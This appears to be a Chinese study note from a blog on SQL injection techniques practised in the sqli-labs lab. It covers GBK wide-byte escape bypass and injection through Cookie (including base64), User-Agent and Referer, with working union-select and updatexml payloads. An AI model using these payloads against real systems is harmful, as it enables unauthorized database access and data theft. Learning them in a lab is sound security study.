sql注入的其他注入

1.宽字节注入

原因 绕过单双引号转义

?id=1

?id=1'

1\' 服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。

315c27 非常强烈的暗示

代码

单双引号转义 并且编码变成了gbk

上编码 表

这个是GBK编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

然后我们在单引号前面加个%cd就可以绕过

cb5c 5c前面加上cd都会得到一个新的字节 薥

?id=1%cb'

1%df\'

31cb5c27

1薥' # "吃"掉了转义字符\

/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+

http头部 注入

SQL 注入点不止会出现在GET 参数或POST 参数中,也会出现在cookie和user-agent中。

1.cookie注入 20管

Cookie: uname=Dumb' and 1=2 union select 1,version(),database() exp攻击

1.登录

2.利用

2.base64编码 22关

Dumb" and 1=2 union select 1,version(),database()#

RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=

用bp把字符转成base64编码

1.登录

加密

直接上

3.user-agent 注入

随便一个' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

4.referer注入

随便一个 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

相关推荐
ManageEngineITSM1 小时前
技术的秩序:IT资产与配置管理的现代重构
大数据·运维·数据库·重构·工单系统
档案宝档案管理4 小时前
档案宝:企业合同档案管理的“安全保险箱”与“效率加速器”
大数据·数据库·人工智能·安全·档案·档案管理
wangjialelele4 小时前
mysql库操作二
数据库·mysql
Chloeis Syntax4 小时前
MySQL初阶学习日记(1)--- 数据库的基本操作
数据库·学习·mysql
workflower5 小时前
FDD(Feature Driven Development)特征驱动开发
大数据·数据库·驱动开发·需求分析·个人开发
韩立学长6 小时前
基于Springboot的旧物公益捐赠管理系统3726v22v(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
苦学编程的谢6 小时前
Redis_4_常见命令(完)+认识数据类型和编码方式
数据库·redis·缓存
小光学长6 小时前
基于Vue的儿童手工创意店管理系统as8celp7(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js
小光学长7 小时前
基于Vue的地铁综合服务管理系统7949eg04(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
前端·数据库·vue.js